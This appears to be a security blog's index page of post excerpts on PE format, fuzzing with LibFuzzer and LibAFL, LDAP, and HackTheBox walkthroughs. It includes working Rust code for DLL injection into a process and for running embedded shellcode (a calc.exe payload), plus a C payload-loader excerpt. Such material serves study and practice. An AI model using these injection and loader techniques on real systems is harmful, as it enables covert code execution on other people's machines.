PEについてメモ

What is PE PEファイルとはPortable Executable File Formatの略。 ポータブルな実行ファイルである。 ビルド たとえばtest.cppといったファイルを作成してビルドすると、まず関連するヘッダーとソースをコンパイルし1つの機械語コードを作成する。 この段階でReleaseディレクトリにobjファイルが生成される。 次にリンク作業が行われる。 リンカはOSでこのファイルを実行できるように動的ライブラリや様々なリソースデータ、インポート・エクスポートテーブルを処理するための情報をファイルに書き出す。 この際にWindowsは決まったルールに沿って情報を用意しExeファイルを作成する際に、ヘッダーに情報を書き込む。 これがPEフォーマットを作成する処理である。 PEヘッダーの中には実行ファイルを実行するために様々な情報が記録されている。 PEファイルの構造 IMAGE_DOS_HEADER IMAGE_NT_HEADER IMAGE_FILE_HEADER IMAGE_OPTIONAL_HEADER IMAGE_SECTION_HEADER IMAGE_IMPORT_DESCRIPTOR IMAGE_EXPORT_DIRECTORY IMAGE_IMPORT_BY_NAME IMAGE_THUNK_DATA32 主要な構造体は上記の通り。 IMAGE_DOS_HEADER typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; e_magic , e_lfanew について注目するとよい。 ...

July 21, 2023 · 3 min · 590 words · FAMASoon

LibFuzzerを使った

LibFuzzerを使った https://x64.moe/posts/whatslibfuzzer/ こんな感じにファジングできるLibFuzzerを使ってみた。 結論としてはどれもうまくいかなかった(クラッシュしない・クラッシュしても配布されるビルドのものだとクラッシュしない等など) ターゲット Jansson https://github.com/akheron/jansson なんかのパーサがやりやすいかなと思ってJSONパーサのJanssonを選んだ。 #include <stddef.h> #include <stdint.h> #include "jansson.h" int parseJson(const char *buffer, size_t buflen) { json_error_t error; json_t *root; json_t *obj; const char *str; double dValue; int iValue; root = json_loadb(buffer, buflen, 0, &error); if (root == NULL) { return 0; } obj = json_object_get(root, "dateTime"); if (json_is_string(obj)) { str = json_string_value(obj); } obj = json_object_get(root, "eventType"); if (json_is_string(obj)) { str = json_string_value(obj); } obj = json_object_get(root, "DependOnSequentialEvent"); if (json_is_object(obj)) { json_t *obj2; obj2 = json_object_get(obj, "valPercent"); if (json_is_real(obj2)) { dValue = json_real_value(obj2); } else if (json_is_integer(obj2)) { iValue = json_integer_value(obj2); } obj2 = json_object_get(obj, "alive"); if (json_is_string(obj2)) { str = json_string_value(obj2); } obj2 = json_object_get(obj, "isScript"); } return 0; } extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size < 0) { return -1; } parseJson((const char *)data, size); return 0; } ビルド内容は下記のような感じ クラッシュしなかった。 libmxml https://github.com/michaelrsweet/mxml 今度はXMLパーサのlibmxmlを選んだ。 この時もパーサなら行けるだろうと思っていた。 ...

July 4, 2023 · 2 min · 306 words · FAMASoon

LibFuzzer's Example

What is LibuFuzzer? Libfuzzer is a library part of LLVM that can be used to fuzz test programs. Example Build the fuzzing target. #include <stdint.h> #include <stddef.h> bool FuzzMe(const uint8_t *Data, size_t DataSize) { return DataSize >= 3 && Data[0] == 'F' && Data[1] == 'U' && Data[2] == 'Z' && Data[3] == 'Z'; } extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { FuzzMe(Data, Size); return 0; } First, write LLVMFuzzerTestOneInput function. This function is called by libfuzzer. The function takes two arguments, Data and Size. Data is the input data and Size is the size of the input data. ...

June 29, 2023 · 4 min · 805 words · FAMASoon

[Note] LibAFLとはなにか

LibAFL とは https://aflplus.plus/libafl-book/libafl.html ファジングのためのライブラリ。 AFL, libFuzzer, honggfuzz といったファザーは存在するが拡張性がない。 個々のソフトウェアに対してカスタマイズ可能なファザーを作るために開発された。 特徴 マルチプラットフォーム対応 OS依存のランタイムを必要としていない なので組み込みデバイスやハイパーバイザ、WASMなどにつかえる(らしい) AFLPlusPlusで培った経験が活かされている スケールしやすいらしい 早い ソフトウェアに合わせてカスタムできる 入門 crate として使える。 注意点としてClangに依存しているので予めインストールする必要がある。 各種プロジェクトのルートディレクトリから cargo build --release を実行することでビルドできる。 下記のように Cargo.toml に書けば良い(私は cargo add で入れた) [dependencies] libafl = { version = "*" } 色々とカスタムできるがクレートとしては libafl を使えば良さそう。 他のクレートの説明はこちら。 https://aflplus.plus/libafl-book/getting_started/crates.html コンセプト Observer テスト対象のぷろぐらむの実行を監視し、その情報をファザーに提供するものです。 これは Observer トレイトに書かれている。 各ファジングのデータを保持したりファジングケースの前後でフックしたりできる。 Executor テスト対処の実行に関する操作を定義するもの。 ファザー=が実行で使用したい入力についてプログラムに通知し、特定のメモリの場所に書き込んだり、それをパラメータとしてハーネスに渡す責任がある。 Executor トレイとで提供されている。 InprocessExecutor はプロセス内のクラッシュを検出する。 ForkserverExecutor 子プロセスをファズするときに使う。 InprocessExecotr はファザープロセス内のハーネスを実行する。 ハーネスをできるだけ早く実行したいときはこれを採用する。 注意するべき点はハーネスにヒープ周りのバグがある可能性がある場合、クラッシュしたヒープがファザーに影響を与えないように別のアロケータを使用する必要があります。 例えばMiMallocを使用するなど。 あるいはアドレスサニタイザーを使用してハーネスをコンパイルしヒープ周りのバグを補足できるようにする。 ForkserverExecutor は共有メモリを使用してハーネスを実行する。 InprocessForkExecutor はハーネスを実行する前に分岐する。 ハーネスが不安定になったりクラッシュするような場合、子プロセスでハーネスを実行する必要がある。 そのような時に使用する。 ただしハーネスを実行し、カバレッジをマップに書くのは子プロセス。 親プロセスと子プロセスの間でマップを共有するために共有メモリを使用する。 Feedback フィードバックはテスト対象の実行結果が興味深いものかどうか判断するもの。 Feedback トレイトで定義されている。 フィードバックは1つ以上の Observer によって報告された情報を処理して興味深いかどうか判断する。 興味深さはエッジの新規性に関連している。 ...

June 10, 2023 · 1 min · 104 words · FAMASoon

Dll Injection with Rust

winapi winapi provides raw FFI bindings to all of Windows API. So, I will use this crate. code When run command cargo run, it can be inject dll to process use winapi::ctypes::*; use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress}; use winapi::um::memoryapi::{VirtualAllocEx, WriteProcessMemory}; use winapi::um::processthreadsapi::{CreateRemoteThread, OpenProcess}; pub fn DllInject(proc_handle: *mut c_void, dll_path: &str) { unsafe { let remote_base = VirtualAllocEx( proc_handle, std::ptr::null_mut(), dll_path.len(), 0x1000, 0x40, ); WriteProcessMemory( proc_handle, remote_base, dll_path.as_bytes().as_ptr() as *const c_void, dll_path.len(), std::ptr::null_mut(), ); let dll_handle = GetModuleHandleA("kernel32.dll\0".as_ptr() as *const i8); let func_address = GetProcAddress(dll_handle, "LoadLibraryA\0".as_ptr() as *const i8); CreateRemoteThread( proc_handle, std::ptr::null_mut(), 0, Some(std::mem::transmute(func_address)), remote_base, 0, std::ptr::null_mut(), ); } } fn main() { let pid: u32 = 100; // modify real process ID let dll_path = r#"injectDLL"#; // modify real DLL unsafe{ let proc_handle = OpenProcess(0x001FFFFF, 0, pid); DllInject(proc_handle, dll_path); } }

June 6, 2023 · 1 min · 129 words · FAMASoon

Executing functions in Rust with winapi

Motivation I want to how to allocate memory on windows and execute code in buffers. winapi winapi provides raw FFI bindings to all of Windows API. So, I will use this crate. code When run command cargo run, popup calc.exe use std::mem::transmute; use winapi::um::errhandlingapi::GetLastError; use winapi::um::memoryapi::VirtualAlloc; use winapi::um::processthreadsapi::CreateThread; use winapi::um::synchapi::WaitForSingleObject; fn main() { let buffer: [u8; 276] = [ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00, ]; unsafe { let baseptr = VirtualAlloc(std::ptr::null_mut(), buffer.len(), 0x00001000, 0x40); if GetLastError() != 0 { println!("virtual alloc failed: {}", GetLastError()); } let mut thread_id = 0; std::ptr::copy( buffer.as_ptr() as *const u8, baseptr as *mut u8, buffer.len(), ); let thread_handle = CreateThread( std::ptr::null_mut(), 0, Some(transmute(baseptr)), std::ptr::null_mut(), 0, &mut thread_id, ); WaitForSingleObject(thread_handle, 0xFFFFFFFF); } }

June 4, 2023 · 2 min · 388 words · FAMASoon

Connect to Ldap3 with Rust

What is Ldap LDAP stands for Lightweight Directory Access Protocol. It is an open and platform-independent protocol used for accessing and maintaining directory services over a network. Directory services store and organize information, such as user names, passwords, email addresses, and other attributes, in a hierarchical structure. LDAP is commonly used in client-server applications and network environments to facilitate centralized management of user authentication, authorization, and directory information. It allows clients to search, modify, and retrieve data from a directory server, which stores the directory information. ...

June 1, 2023 · 2 min · 310 words · FAMASoon

Maldev - implant payload

Shellcode One way for malware to embed code is to deploy shell code in memory. This time, we will check the method that works on Windows. Note that getchar() is used so that the debugger can attach to the process accordingly and check the memory. .text payload is the shellcode. To embed arbitrary shell code in a .text section, do the following. #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(void) { void * exec_mem; BOOL rv; HANDLE th; DWORD oldprotect = 0; // Shellcode in text section unsigned char payload[] = { 0x90, // NOP 0x90, // NOP 0xcc, // INT3 0xc3 // RET }; unsigned int payload_len = 4; // Allocate a memory buffer for payload exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload); printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem); // Copy payload to new buffer RtlMoveMemory(exec_mem, payload, payload_len); // Make new buffer as executable rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect); printf("\nHit me!\n"); getchar(); // If all good, run the payload if ( rv != 0 ) { th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, -1); } return 0; } .data To embed it in a .data section, do the following ...

May 28, 2023 · 2 min · 370 words · FAMASoon

HackTheBox Walkthrough - Brainf**k

This post is writeup of the HackTheBox machine. Brain**ck https://app.hackthebox.com/machines/Brainfuck Nmap Nmap result $ nmap -sC -sV 10.10.10.17 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 06:39 EDT Nmap scan report for 10.10.10.17 Host is up (0.072s latency). Not shown: 995 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 94d0b334e9a537c5acb980df2a54a5f0 (RSA) | 256 6bd5dc153a667af419915d7385b24cb2 (ECDSA) |_ 256 23f5a333339d76d5f2ea6971e34e8e02 (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: SASL(PLAIN) TOP RESP-CODES UIDL CAPA AUTH-RESP-CODE PIPELINING USER 143/tcp open imap Dovecot imapd |_imap-capabilities: LITERAL+ AUTH=PLAINA0001 capabilities LOGIN-REFERRALS have post-login listed SASL-IR IDLE ENABLE OK more IMAP4rev1 Pre-login ID 443/tcp open ssl/http nginx 1.10.0 (Ubuntu) | ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR | Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb | Not valid before: 2017-04-13T11:19:29 |_Not valid after: 2027-04-11T11:19:29 |_http-title: Welcome to nginx! | tls-nextprotoneg: |_ http/1.1 | tls-alpn: |_ http/1.1 |_http-server-header: nginx/1.10.0 (Ubuntu) |_ssl-date: TLS randomness does not represent time Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 57.30 seconds Found some host name ...

May 10, 2023 · 13 min · 2756 words · FAMASoon

HackTheBox Nibbles Walkthrough

Nibbles IP address : 10.10.10.75 Nmap result $ nmap -sV -sT -sC 10.10.10.75 Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-17 05:59 EST Nmap scan report for 10.10.10.75 Host is up (0.11s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4f8ade8f80477decf150d630a187e49 (RSA) | 256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA) |_ 256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.73 seconds Whatweb result $ whatweb 10.10.10.75 http://10.10.10.75 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.75] Intersting /nibbleblog directory In http://10.10.10.75/nibbleblog/ I see it was blog $ whatweb http://10.10.10.75/nibbleblog/ http://10.10.10.75/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.75], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum] Searchsploit result ...

January 8, 2023 · 54 min · 11329 words · FAMASoon